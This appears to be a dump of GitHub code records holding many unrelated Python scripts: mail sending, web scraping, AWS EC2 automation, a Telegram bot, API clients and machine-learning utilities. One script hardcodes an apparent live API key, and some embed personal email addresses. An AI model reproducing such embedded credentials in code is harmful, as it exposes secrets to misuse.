hashval)\n assert target_name != filename_template\n if exists(target_name):\n return (hashval, target_name, False)\n else:\n # issue #21 - need to use a copy instead of a rename,\n # in case /tmp is on a different filesystem.\n shutil.copyfile(tfilename, target_name)\n return (hashval, target_name, True)\n finally:\n if exists(tfilename):\n os.remove(tfilename)\n","repo_name":"data-workspaces/data-workspaces-core","sub_path":"dataworkspaces/utils/snapshot_utils.py","file_name":"snapshot_utils.py","file_ext":"py","file_size_in_byte":12769,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"41073961388","text":"import win32com.client as win32\r\n\r\n# send mail from the account that is currently logged in\r\n\r\noutlook = win32.Dispatch('outlook.application')\r\nmail = outlook.CreateItem(0)\r\nmail.To = 'testmail@mail.com'\r\nmail.Subject = 'Mail subject'\r\nmail.Body = 'Mail body...' # for plain text body\r\n#mail.HTMLBody = '' # for HTML body\r\nmail.Display(True) # \r\n#mail.send","repo_name":"NikolaS2891/SendOutlookMail","sub_path":"send_outlook_mail.py","file_name":"send_outlook_mail.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15673117145","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/1/29 0029 下午 10:25\n# @Author : yyw@ustc\n# @E-mail : yang0@mail.ustc.edu.cn\n# @Github : https://github.com/ustcyyw\n# @desc :\n\nfrom MultiSpider import *\nfrom MySQLService import Saver\n\n\ndef main(username):\n Saver.create_table(username)\n ZHIHUSpider.start_spider(username)\n Saver.save_user_info(username)\n\n\nif __name__ == '__main__':\n start = time.time()\n main('neng-liang-a-wei-er')\n end = time.time()\n print(\"一共耗时:\", end - start)\n","repo_name":"ustcyyw/zhihu_follower","sub_path":"http请求与数据库写入多线程/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"93909594","text":"import ez_setup, sys\nez_setup.use_setuptools()\n\nfrom setuptools import setup, Feature, Extension, find_packages\n\nspeedups = Feature(\n \"optional C speed-enhancement modules\",\n standard = True,\n ext_modules = [\n Extension(\"dispatch._d_speedups\", [\"src/dispatch/_d_speedups.pyx\"]),\n ]\n)\n\nsetup(\n name=\"RuleDispatch\",\n version=\"0.5a1\",\n description=\"Rule-based Dispatching and Generic Functions\",\n long_description = open('README.txt').read(),\n author=\"Phillip J. Eby\",\n author_email=\"peak@eby-sarna.com\",\n license=\"PSF or ZPL\",\n install_requires = ['PyProtocols>=1.0a0dev-r2302', 'Extremes>=1.1'],\n url = \"http://pypi.python.org/pypi/RuleDispatch\",\n download_url = \"http://peak.telecommunity.com/snapshots/\",\n zip_safe = sys.version>='2.3.5',\n test_suite = 'dispatch.tests.test_suite',\n package_dir = {'':'src'},\n package_data = {'': ['*.txt']},\n packages = find_packages('src'),\n features = {'speedups': speedups}\n)\n\n","repo_name":"PEAK-Legacy/RuleDispatch","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20368896818","text":"import json\nfrom cloudant.client import CouchDB\nfrom datetime import datetime\nfrom hashlib import sha1\n\n\ndef load_features(filepath, couchdb: CouchDB):\n try:\n couchdb.connect()\n if \"features\" not in couchdb.all_dbs():\n couchdb.create_database(\"features\", partitioned=False)\n couchdb[\"features\"].create_query_index(fields=[\"newest\"])\n couchdb[\"features\"].create_query_index(fields=[{\"oldest\": \"desc\"}])\n\n poly_features = []\n with open(filepath) as file:\n content = file.read()\n polygons = json.loads(content)\n poly_features = polygons[\"features\"]\n\n features = []\n for feature in poly_features:\n if feature[\"geometry\"] is None:\n continue\n coords = feature[\"geometry\"][\"coordinates\"]\n box = [None, None, None, None]\n\n for x in coords:\n for y in x:\n if box[0] is None or y[0] < box[0]:\n box[0] = y[0]\n if box[1] is None or y[1] < box[1]:\n box[1] = y[1]\n if box[2] is None or y[0] > box[2]:\n box[2] = y[0]\n if box[3] is None or y[1] > box[3]:\n box[3] = y[1]\n\n id = sha1(json.dumps(box).encode('utf8')).digest().hex()\n features.append({\n \"id\": id,\n \"name\": feature[\"properties\"][\"name\"],\n \"loc_pid\": feature[\"properties\"][\"loc_pid\"],\n \"box\": box\n })\n\n docs = couchdb[\"features\"].get_query_result(\n selector={\n \"_id\": {\n \"$gt\": None\n }\n }).all()\n\n known_ids = list(map(lambda doc: doc[\"_id\"], docs))\n new_features = list(filter(lambda feature: feature[\"id\"] not in known_ids, features))\n\n new_docs = list(map(lambda feature: {\n \"_id\": feature[\"id\"],\n \"box\": feature[\"box\"],\n \"name\": feature[\"name\"],\n \"loc_pid\": feature[\"loc_pid\"],\n \"newest\": None,\n \"oldest\": None\n }, new_features))\n couchdb[\"features\"].bulk_docs(new_docs)\n finally:\n couchdb.disconnect()\n\n return features\n","repo_name":"Liu233w/ccc-assignment2","sub_path":"twitter-harvester/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"39661813616","text":"def average(salaries):\n '''Calculates the average of given salaries'''\n avg = 0\n\n for x in salaries:\n avg += x\n\n return (avg / len(salaries))\n\n\ndef median(salaries):\n '''Calculates the median of given salaries'''\n if len(salaries) % 2 != 0:\n return salaries[(len(salaries)//2)]\n else:\n # If there is an even length it takes the average of the middle two\n first_median = salaries[(len(salaries)//2) - 1]\n second_median = salaries[(len(salaries) // 2)]\n return (first_median + second_median) / 2\n\n\ndef gap(salaries):\n '''Calculates the gap between highest and lowest salary'''\n gap = max(salaries) - min(salaries)\n return gap\n\n\ndef main():\n # Takes several salary inputs and splits them using whitespace\n salary_input = input(\"Enter salaries separated by one whitespace: \")\n salaries = salary_input.split()\n # Creating a new list with all the salaries and sort it\n salary_list = [int(x) for x in salaries]\n salary_list.sort()\n\n salary_gap = round(gap(salary_list))\n salary_average = round(average(salary_list))\n salary_median = round(median(salary_list))\n\n print(f\"Median: {salary_median}\")\n print(f\"Average: {salary_average}\")\n print(f\"Gap: {salary_gap}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PhilipV1/Assignment2","sub_path":"salary_revision.py","file_name":"salary_revision.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71231917653","text":"import os\nimport heapq\n\ndef distribution_of_initial_runs(input_file, output_file, block_size=1024):\n # Crear una lista para almacenar los runs iniciales\n runs = []\n\n # Leer el archivo de entrada y dividirlo en runs iniciales\n with open(input_file, 'rb') as f:\n while True:\n block = f.read(block_size)\n if not block:\n break\n run = list(block)\n run.sort()\n runs.append(run)\n\n # Fusionar los runs iniciales en el archivo de salida\n with open(output_file, 'wb') as f:\n while runs:\n min_run = min(runs, key=lambda run: run[0])\n min_value = min_run.pop(0)\n f.write(bytes([min_value]))\n\n # Eliminar el run vacío\n if not min_run:\n runs.remove(min_run)\n\n# Ejemplo de uso:\ninput_file = 'input.txt' # Archivo de entrada no ordenado\noutput_file = 'output.txt' # Archivo de salida ordenado\nblock_size = 1024 # Tamaño del bloque en bytes\n\n# Crear un archivo de entrada con datos desordenados (puedes reemplazar esto con tus propios datos)\nwith open(input_file, 'wb') as f:\n data = bytearray(range(255, 0, -1)) # Datos desordenados del 1 al 255\n f.write(data)\n\n# Ordenar el archivo utilizando Distribution of Initial Runs\ndistribution_of_initial_runs(input_file, output_file)\n\n# Leer y mostrar el archivo ordenado\nwith open(output_file, 'rb') as f:\n sorted_data = f.read()\n print(sorted_data)\n\n","repo_name":"OmarBarba/Python-2","sub_path":"Ordenamientos_Externos/05_Distribution_of initial_runs.py","file_name":"05_Distribution_of initial_runs.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38033634544","text":"\"\"\" Lambda to delete old ec2-instance and launch ec2-instance with scheduled job\"\"\"\nimport boto3\n\nREGION = 'us-east-1' # region to launch instance.\nAMI = 'ami-9ebsdsa'\nINSTANCE_TYPE = 't2.small' # instance type to launch.\nboto3 = boto3.Session(profile_name='myprofile')\n\nEC2 = boto3.client('ec2', region_name=REGION)\n\n\ndef weekly_lambda(event,context=None):\n terminate_ec2(self=None)\n spin_ec2(self=None)\n\n\ndef terminate_ec2(self):\n custom_filter = [\n {'Name': 'tag:Name', 'Values':['test01']}\n]\n response = EC2.describe_instances(Filters=custom_filter)\n print(response['Reservations'][0]['Instances'][0]['State']['Name'])\n response1 = response['Reservations'][0]['Instances'][0]['State']['Name']\n if response1 == \"terminated\":\n print(\"No instances to be deleted\")\n else:\n InstanceId = response['Reservations'][0]['Instances'][0]['InstanceId']\n terminate_response = EC2.terminate_instances(InstanceIds=[InstanceId])\n\n\n\ndef spin_ec2(self):\n \"\"\" Lambda handler taking [message] and creating a httpd instance with an echo. \"\"\"\n #message = event['message']\n init_script = \"\"\"#!/bin/bash\necho \"sleep 50\" >> /etc/rc.local\necho \"shutdown -H +5 >> /etc/rc.local\"\nsleep 50\nshutdown -H +5\"\"\"\n\n print ('Running script:')\n print (init_script)\n\n instance = EC2.run_instances(\n ImageId=AMI,\n InstanceType=INSTANCE_TYPE,\n MinCount=1, # required by boto, even though it's kinda obvious.\n MaxCount=1,\n InstanceInitiatedShutdownBehavior='stop', # make shutdown in script terminate ec2\n UserData=init_script # file to run on instance init.\n \n )\n\n print (\"New instance created.\")\n instance_id = instance['Instances'][0]['InstanceId']\n print (instance_id)\n print (instance)\n EC2.create_tags(Resources=[instance_id], Tags=[{\"Key\" : \"Name\", 'Value': 'test01',},],)\n\n\n","repo_name":"rhlnair87/myscripts","sub_path":"ec2_delete_launch_job_lambda.py","file_name":"ec2_delete_launch_job_lambda.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21838236761","text":"from simpn.simulator import SimProblem\nfrom simpn.simulator import SimToken\nfrom random import expovariate as exp, uniform as uniform\nfrom simpn.reporters import EventLogReporter\nfrom simpn.prototypes import task, start_event, end_event\n\n# Instantiate a simulation problem.\nshop = SimProblem()\n\n# Define queues and other 'places' in the process.\nto_choose = shop.add_var(\"to choose\")\nwaiting_1 = shop.add_var(\"cassier 1 queue\")\nwaiting_2 = shop.add_var(\"cassier 2 queue\")\ndone = shop.add_var(\"done\")\n\n# Define resources.\ncassier_1 = shop.add_var(\"cassier 1\")\ncassier_2 = shop.add_var(\"cassier 2\")\n\ncassier_1.put(\"c1\")\ncassier_2.put(\"c2\")\n\n# Define events.\nstart_event(shop, [], [to_choose], \"arrive\", lambda: exp(1/6))\n\ndef choose(c, c1_queue, c2_queue):\n if len(c1_queue) < len(c2_queue):\n c1_queue.append(SimToken(c))\n else:\n c2_queue.append(SimToken(c))\n return [c1_queue, c2_queue]\nshop.add_event([to_choose, waiting_1.queue, waiting_2.queue], [waiting_1.queue, waiting_2.queue], choose)\n\ntask(shop, [waiting_1, cassier_1], [done, cassier_1], \"scan_groceries_1\", lambda c, r: [SimToken((c, r), delay=exp(1/9))])\ntask(shop, [waiting_2, cassier_2], [done, cassier_2], \"scan_groceries_2\", lambda c, r: [SimToken((c, r), delay=exp(1/9))])\n\nend_event(shop, [done], [], \"leave\")\n\n# Run the simulation.\nreporter = EventLogReporter(\"./temp/simulation_multiple_queues.csv\")\nshop.simulate(24*60, reporter)\nreporter.close()\n\n","repo_name":"bpogroup/simpn","sub_path":"examples/patterns/simulation_multiple_queues.py","file_name":"simulation_multiple_queues.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"30563727894","text":"import joblib\nimport re\nfrom telegram_bot import Telegram_Bot\nfrom vacancy_transformation import Vacancy\nfrom flask import Flask, request, jsonify\nfrom flask_sslify import SSLify\n\napp = Flask(__name__)\nsslify = SSLify(app)\n\n# model building\nmodel = joblib.load('/home/boa00/bot/final_model.sav')\npattern = re.compile(r'hh.ru/vacancy/\\d{8}')\nerror_message = 'Неверный формат. Введите /help для большей информации'\nhelp_message = 'Чтобы получить прогноз по зарплате, нужно ввести \"/predict https://hh.ru/vacancy/\", где vacancy_id - это уникальный код вакансии, состоящий из 8 цифр. Само URL может быть длиннее, но формат обязан оставаться таким'\n\ndef predict_salary(vacancy_id):\n v = Vacancy(vacancy_id)\n data = v.transform()\n if data is not None:\n predicted_salary_floor = int(model.predict(data)*0.8)\n predicted_salary_ceiling = int(model.predict(data)*1.2)\n return 'Прогнозируемая зарплата: {}-{} RUB'.format(predicted_salary_floor, predicted_salary_ceiling)\n else:\n return 'Вакансии с таким id не существует'\n\n# replying to messages\ndef make_reply(message):\n if message is not None:\n if message[:8] == '/predict':\n found = pattern.search(message)\n if found is None:\n return error_message\n vacancy_id = found.group()[-8:]\n reply = predict_salary(vacancy_id)\n return reply\n elif message[:5] == '/help':\n return help_message\n else:\n return error_message\n\n@app.route('/', methods=['POST', 'GET'])\ndef index():\n if request.method == 'POST':\n r = request.get_json()\n bot = Telegram_Bot('/home/boa00/bot/key.txt')\n message = r['message']['text']\n from_id = r['message']['from']['id']\n reply = make_reply(message)\n if reply is not None:\n bot.send_message(reply, from_id)\n return jsonify(r)\n return 'Hello There!'\n\n\nif __name__ == '__main__':\n app.run()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"boa00/hh_developer_salary_predictor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"4027017841","text":"\"\"\"\nThis Module holds alle API Routes and their Methods.\n\"\"\"\nimport ast\n\nfrom flask import request, Flask\n\nfrom src.model_load import ConnectFourModelLoad\nfrom src.player import Player\n\napp = Flask(__name__)\n\nmodel = ConnectFourModelLoad(42)\n\n\n@app.route(\"/predict\", methods=['POST'])\ndef predict():\n \"\"\"Returns the next move of the Neural Network.\"\"\"\n message = request.get_json(force=True)\n board = message['board']\n player_value = int(message['player'])\n\n board = ast.literal_eval(board)\n\n player = Player(player_value, 'model', model)\n\n best_move = player.get_move(board)\n\n return {\"x\": best_move[0], \"y\": best_move[1]}\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"MartyMark/connect-four-neuronal-network","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"17584179367","text":"import json\nimport requests\n\n\nKEY = '4746f9a2-bac2-4553-8927-e1c8815befd2'\n\n\ndef get_airports_codes():\n response = requests.request(\"GET\", f'https://airlabs.co/api/v9/airports?api_key={KEY}')\n response_json = response.json()\n return [(item.get('iata_code'), item.get('name')) for item in response_json['response']\n if item.get('iata_code') is not None]\n\n\nif __name__ == '__main__':\n airports = get_airports_codes()\n # save_to_json(airports)\n # for item in airports.items():\n # print(item)\n","repo_name":"OlegPodlipalin/google_flight_scrapping","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4587220959","text":"# -*- coding: latin-1 -*-\n\n\"\"\"\n@author: Ivano Lauriola\n@email: ivano.lauriola@phd.unipd.it, ivanolauriola@gmail.com\n\nThis file is part of MKLpy: a scikit-compliant framework for Multiple Kernel Learning\nThis file is distributed with the GNU General Public License v3 . \n\n\"\"\"\n\nfrom .exceptions import SquaredKernelError, InvalidKernelsListError, BinaryProblemError\nfrom sklearn.metrics import accuracy_score, roc_auc_score, f1_score, precision_score, recall_score, balanced_accuracy_score\nimport torch, numpy as np\n\n\ndef check_X(X):\n if type(X) != torch.Tensor:\n X = torch.tensor(X)\n if len(X.size()) != 2:\n raise ValueError('Wrong shape', X.size())\n X = X.type(torch.float64)\n return X\n\n\ndef check_pairwise_X_Z(X,Z):\n '''checks if X and Z are two broadcastable matrices'''\n Z = X if (Z is None) or (Z is X) else Z\n X = check_X(X)\n Z = check_X(Z)\n if X.size()[1] != Z.size()[1]:\n raise ValueError('X and Z have different features')\n return X, Z\n\n\ndef check_K(K):\n '''checks if a kernel matrix K is squared'''\n K = check_X(K)\n if K.size()[0] != K.size()[1] :\n raise SquaredKernelError(K.size())\n return K\n\n\ndef check_K_Y(K,Y, binary=False):\n '''check if a kernel matrix K and labels vector Y are aligned'''\n K = check_K(K)\n if K.size()[0] != len(Y):\n raise ValueError('The kernel matrix and the labels vector are not aligned')\n if type(Y) != torch.Tensor:\n Y = torch.tensor(Y)\n c = len(Y.unique())\n if binary and c != 2:\n raise BinaryProblemError(c)\n return K, Y\n\n\ndef check_KL(KL):\n '''check if KL is a kernels list'''\n if not hasattr(KL,'__len__'):\n raise InvalidKernelsListError()\n return KL\n\n\ndef check_KL_Y(KL, Y):\n '''check if KL is a kernels list'''\n KL = check_KL(KL)\n if 'Generator' not in type(KL).__name__:\n _, Y = check_K_Y(KL[0], Y)\n return KL, Y\n\n\ndef get_scorer(score, return_direction=False):\n score = score.lower()\n if score == 'roc_auc':\n scorer, f = roc_auc_score, 'decision_function'\n elif score == 'accuracy':\n scorer, f = accuracy_score, 'predict'\n elif score == 'f1_score':\n scorer, f = f1_score, 'predict'\n elif score == 'precision_score':\n scorer, f = precision_score, 'predict'\n elif score == 'recall_score':\n scorer, f = recall_score, 'predict'\n elif score == 'balanced_accuracy_score':\n scorer, f = balanced_accuracy_score, 'predict'\n else:\n raise ValueError('%s is not a valid metric. Valid metrics are \\'roc_auc\\', \\'accuracy\\', \\'f1_score\\', \\'precision_score\\', \\'recall_score\\', or \\'balanced_accuracy_score\\'.' % score)\n if return_direction:\n return scorer, f, np.greater\n else :\n return scorer, f","repo_name":"IvanoLauriola/MKLpy","sub_path":"MKLpy/utils/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"67"} +{"seq_id":"28364190134","text":"import requests\nfrom bs4 import BeautifulSoup\nimport smtplib\nimport time\n#put url of the product you want\nURL = 'https://www.amazon.in/Boat-BassHeads-900-Wired-Headphone/dp/B074ZF7PVZ/ref=sr_1_5?crid=IO1C10CTZXJT&keywords=boat+headphones&qid=1562476892&s=gateway&sprefix=boat%2Caps%2C340&sr=8-5'\n\nheaders = {\"User-Aent\" : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'}\ndef check_price():\n\n\tpage = requests.get(URL,headers = headers)\n\n\tsp = BeautifulSoup(page.content,'html.parser')\n\ttitle = sp.find(id = 'productTitle').get_text()\n\tprice = sp.find(id= 'priceblock_ourprice').get_text()\n\tintprice = int(price[2:5])\n\n\tif intprice <= 800 :\n\t\tsend_mail(intprice)\n\ndef send_mail(a) :\n\tserver = smtplib.SMTP('smtp.gmail.com',587)\n\tserver.ehlo()\n\tserver.starttls()\n\tserver.ehlo()\n\tserver.login('tokirmanva22@gmail.com','Enter your Password')\n\tsubject = 'Product is Selling at your Price...Buy Fast at {} rs only!!'.format(a)\n\tbody = 'Check the Product Link \\n https://www.amazon.in/Boat-BassHeads-900-Wired-Headphone/dp/B074ZF7PVZ/ref=sr_1_5?crid=IO1C10CTZXJT&keywords=boat+headphones&qid=1562476892&s=gateway&sprefix=boat%2Caps%2C340&sr=8-5'\n\t#msg = f'Subject: {subject} \\n {body}'\n\tmsg = \"Subject:{} \\n\\n {}\"\n\tserver.sendmail('tokirmanva22@gmail.com','2017kucp1019@iiitkota.ac.in',msg.format(subject,body))\n\tprint(\"Email has been Sent !!\")\n\tserver.quit()\nwhile True :\n\n\tcheck_price()\n\ttime.sleep(12*60*60)\n","repo_name":"tokirmanva22/Python-Projects","sub_path":"SmartBuy.py","file_name":"SmartBuy.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"67"} +{"seq_id":"21510465570","text":"import json\nimport requests\nfrom fivesim.errors import ErrorType, FiveSimError\nfrom typing import Any, Callable, Dict\n\n\nclass _APIRequest:\n def __init__(self, endpoint: str, auth_token: str) -> None:\n self.__endpoint = endpoint\n self.__authentication_token = auth_token\n\n def __request(self, method: Callable[[Any], requests.Response], name: str, use_token: bool, params: dict, json_data: str | None) -> requests.Response:\n headers = {\"Accept\": \"application/json\"}\n if use_token:\n headers[\"Authorization\"] = \"Bearer \" + self.__authentication_token\n try:\n response = method(\n url=self.__endpoint + name,\n headers=headers,\n params=params,\n data=json_data\n )\n except:\n raise FiveSimError(ErrorType.REQUEST_ERROR)\n if not response.ok:\n if response.status_code == 401:\n raise FiveSimError(ErrorType.INVALID_API_KEY)\n if response.status_code == 429:\n raise FiveSimError(ErrorType.API_KEY_LIMIT)\n if response.status_code == 503:\n raise FiveSimError(ErrorType.LIMIT_ERROR)\n\n if ErrorType.contains(response.text):\n raise FiveSimError(ErrorType(response.text))\n else:\n raise FiveSimError(\n ErrorType.OTHER,\n str(response.status_code) + response.reason + response.text\n )\n elif response.text == \"no free phones\":\n raise FiveSimError(ErrorType.NO_FREE_PHONES)\n return response\n\n def _GET(self, use_token: bool, path: list[str], parameters: Dict[str, str] = {}) -> str:\n \"\"\"\n Make a GET request to the API.\n\n :param use_token: Specify wheter to include the authentication token in the request\n :param path: Specify the part after the domain to invoke in the API\n :return: The body of the response\n :raises FiveSimError: if there is an error with the request\n \"\"\"\n return self.__request(\n method=requests.get,\n name=\"/\".join(path),\n use_token=use_token,\n params=parameters,\n json_data=None\n ).text\n\n def _POST(self, use_token: bool, path: str, data: Dict[str, str]) -> str:\n \"\"\"\n Make a POST request to the API.\n\n :param use_token: Specify wheter to include the authentication token in the request\n :param path: Specify the part after the domain to invoke in the API\n :return: The body of the response\n :raises FiveSimError: if there is an error with the request\n \"\"\"\n return self.__request(\n method=requests.post,\n name=path,\n use_token=use_token,\n params={},\n json_data=json.dumps(data)\n ).text\n\n @classmethod\n def _parse_json(cls, input: str, need_keys: list[str] = [], into_object: Callable[[dict], Any] = None) -> Dict:\n \"\"\"\n Parse JSON into a generic dictionary.\n\n :param input: JSON data\n :return: Parsed dictionary\n :raises FiveSimError: when the requested keys aren't in the output\n \"\"\"\n try:\n result = json.loads(input, object_hook=into_object)\n except Exception as e:\n raise FiveSimError(ErrorType.INVALID_RESULT, e.message if hasattr(e, \"message\") else \"\")\n for key in need_keys:\n if not key in result:\n raise FiveSimError(ErrorType.INVALID_RESULT, input)\n return result\n","repo_name":"ErikPelli/fivesim","sub_path":"fivesim/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"28597803259","text":"import pandas as pd\nimport os\n\n# Get list of files in data folder\nfolder_path = 'data/csv/'\nfile_list = [f for f in os.listdir(folder_path) if f.endswith('.csv')]\n#file_list = os.listdir(folder_path)\n\n# Loop through each file\nfor file in file_list:\n # Read file into pandas dataframe\n df = pd.read_csv(os.path.join(folder_path, file))\n #df = pd.read_csv(folder_path + file)\n\n # Check if 'transaction_unique_identifier' column exists in dataframe\n if 'transaction_unique_identifier' not in df.columns:\n print(f\"File: {file}, Error: 'transaction_unique_identifier' column not found in dataframe.\")\n else:\n # Check that 'transaction_unique_identifier' column is non-null and unique\n if not (df['transaction_unique_identifier'].notnull().all() and df['transaction_unique_identifier'].is_unique):\n print(f\"File: {file}, Error: 'transaction_unique_identifier' column is not non-null and unique\")\n\n #Summary statistics for 'Price' column\n if 'price' in df.columns:\n price_stats = df['price'].describe()\n # Format price values to be displayed as integers with commas\n price_stats['min'] = '{:,.0f}'.format(price_stats['min'])\n price_stats['25%'] = '{:,.0f}'.format(price_stats['25%'])\n price_stats['50%'] = '{:,.0f}'.format(price_stats['50%'])\n price_stats['75%'] = '{:,.0f}'.format(price_stats['75%'])\n price_stats['max'] = '{:,.0f}'.format(price_stats['max'])\n price_stats['mean'] = '{:,.0f}'.format(price_stats['mean'])\n price_stats['std'] = '{:,.0f}'.format(price_stats['std'])\n print(f\"File: {file}, 'Price' column summary statistics:\\n{price_stats}\")\n\n # Summary statistics for 'date_of_transfer' column\n if 'date_of_transfer' in df.columns:\n df['date_of_transfer'] = pd.to_datetime(df['date_of_transfer'])\n date_stats = df['date_of_transfer'].describe(datetime_is_numeric=True)\n print(f\"File: {file}, 'date_of_transfer' column summary statistics:\\n{date_stats}\")\n\n\n \n # Loop through each column in dataframe\n for column in df.columns:\n # Count the number of null values in the column\n null_count = df[column].isnull().sum()\n \n # Calculate the percentage of null values in the column\n null_pct = null_count / len(df) * 100\n \n # Check if there are any null values in the column\n if null_count > 0:\n # Print the name of the file, the column name, the count of null values, and the percentage of null values\n print(f\"File: {file}, Column: {column}, Null Count: {null_count}, Null Percentage: {null_pct:.2f}%\")\n","repo_name":"olivermills/de-prices-paid-capstone","sub_path":"scripts/1.exploration/dq_checks.py","file_name":"dq_checks.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41371370408","text":"def ans(arr, k):\n '''\n Result : Time Exceed\n Time Complexity : O(n^2)\n '''\n cnt = 0\n for i in xrange(len(arr)):\n psum = 1\n for j in xrange(i, len(arr)):\n psum *= arr[j]\n if psum < k:\n cnt += 1\n else:\n break\n return cnt\n\n\nfrom collections import deque\ndef count(n):\n return (n * (n + 1)) / 2 \n\ndef ans1(arr, k):\n if k == 0:\n return 0\n if k == 1:\n return 0\n \n cnt = 0\n #st = deque([])\n st = []\n psum = 1\n for i in xrange(len(arr)):\n psum = psum * arr[i]\n st.append(arr[i])\n while psum >= k:\n cnt += (len(st) - 1)\n val = st.pop(0)\n psum = psum / val\n \n cnt += count(len(st))\n return cnt\n\ndef ans2(arr, k):\n if k == 0:\n return 0\n if k == 1:\n return 0\n \n cnt = 0\n s = 0\n psum = 1\n for i in xrange(len(arr)):\n psum = psum * arr[i]\n while psum >= k:\n cnt += (i - s)\n val = arr[s]\n s += 1\n psum = psum / val\n \n cnt += count(len(arr) - s)\n return cnt\n\nclass Solution(object):\n def numSubarrayProductLessThanK(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n return ans2(nums, k)\n","repo_name":"gsrr/leetcode","sub_path":"leetcode/713. Subarray Product Less Than K.py","file_name":"713. Subarray Product Less Than K.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11407355574","text":"from collections import defaultdict\nimport cPickle\nimport logging\nimport os\nimport sys\nimport tempfile\nimport warnings\n\nimport numpy as np\n\nimport HPOlib.Locker as Locker\nimport HPOlib.wrapping_util as wrapping_util\n\n\n__authors__ = [\"Katharina Eggensperger\", \"Matthias Feurer\"]\n__contact__ = \"automl.org\"\n\n\nlogger = logging.getLogger(\"HPOlib.experiment\")\n\n# Do not forget to increment this if you add a new field either to Experiment\n# or Trial\nVERSION = 1\n\nCANDIDATE_STATE = 0\nINCOMPLETE_STATE = 1\nRUNNING_STATE = 2\nCOMPLETE_STATE = 3\nBROKEN_STATE = -1\n\n\n\ndef load_experiment_file():\n optimizer = wrapping_util.get_optimizer()\n experiment = Experiment(\".\", optimizer)\n return experiment\n\n\nclass Experiment:\n def __init__(self, expt_dir, expt_name, max_wallclock_time=\n sys.float_info.max, title=None, folds=1):\n self.expt_dir = expt_dir\n\n if folds < 1:\n folds = 1\n\n self.jobs_pkl = os.path.abspath(\n os.path.join(expt_dir, expt_name + \".pkl\"))\n self.locker = Locker.Locker()\n\n # Only one process at a time is allowed to have access to this.\n #logger.info(\"Waiting to lock experiments file \" +\n # self.jobs_pkl + \"...\")\n self.locker.lock_wait(self.jobs_pkl)\n #logger.info(\"...acquired\\n\")\n\n # Does this exist already?\n if not os.path.exists(self.jobs_pkl):\n\n # Set up the experiments file for the first time\n # General information\n # TODO: Unfortunately, this is also the optimizer name\n self.experiment_name = expt_name\n self.title = title\n self.optimizer = None\n self.folds = folds\n self.instance_order = []\n\n self.trials = []\n\n # Time information\n # Wallclock_time used for the functions (should be the sum of all\n # instance_durations)\n self.total_wallclock_time = 0\n # The maximal allowed wallclock time\n self.max_wallclock_time = max_wallclock_time\n # Time when wrapping.py kicks of the optimizer\n self.starttime = []\n # Time when the focus is passed back to the optimizer\n self.endtime = []\n # Is triggered everytime cv.py is called, is used to calculate the\n # optimizer time\n self.cv_starttime = []\n # Is triggered when cv.py leaves, used to calculate the optimizer\n # time They are alternatively called when runsolver_wrapper is\n # called by SMAC\n self.cv_endtime = []\n # Dummy field, this will be calculated by wrapping.py after\n # everything is finished\n self.optimizer_time = []\n # A field which denotes the version of the Experiment format,\n # in new versions, there might be new fields which have to be\n # pickled and loaded and so on...\n self.version = VERSION\n # Determine whether the experiment is open for reading and writing\n\n # Save this out.\n # self._save_jobs()\n\n else:\n # Load in from the pickle.\n self._load_jobs()\n\n self._is_closed = False\n\n def _create_trial(self):\n trial = dict()\n # Status of the trial object\n trial['status'] = 0\n trial['test_status'] = 0\n trial['params'] = dict()\n # Stores the validation error\n trial['result'] = np.NaN\n trial['test_result'] = np.NaN\n # Validation error for every instance\n trial['instance_results'] = np.ones((self.folds)) * np.NaN\n trial['test_instance_results'] 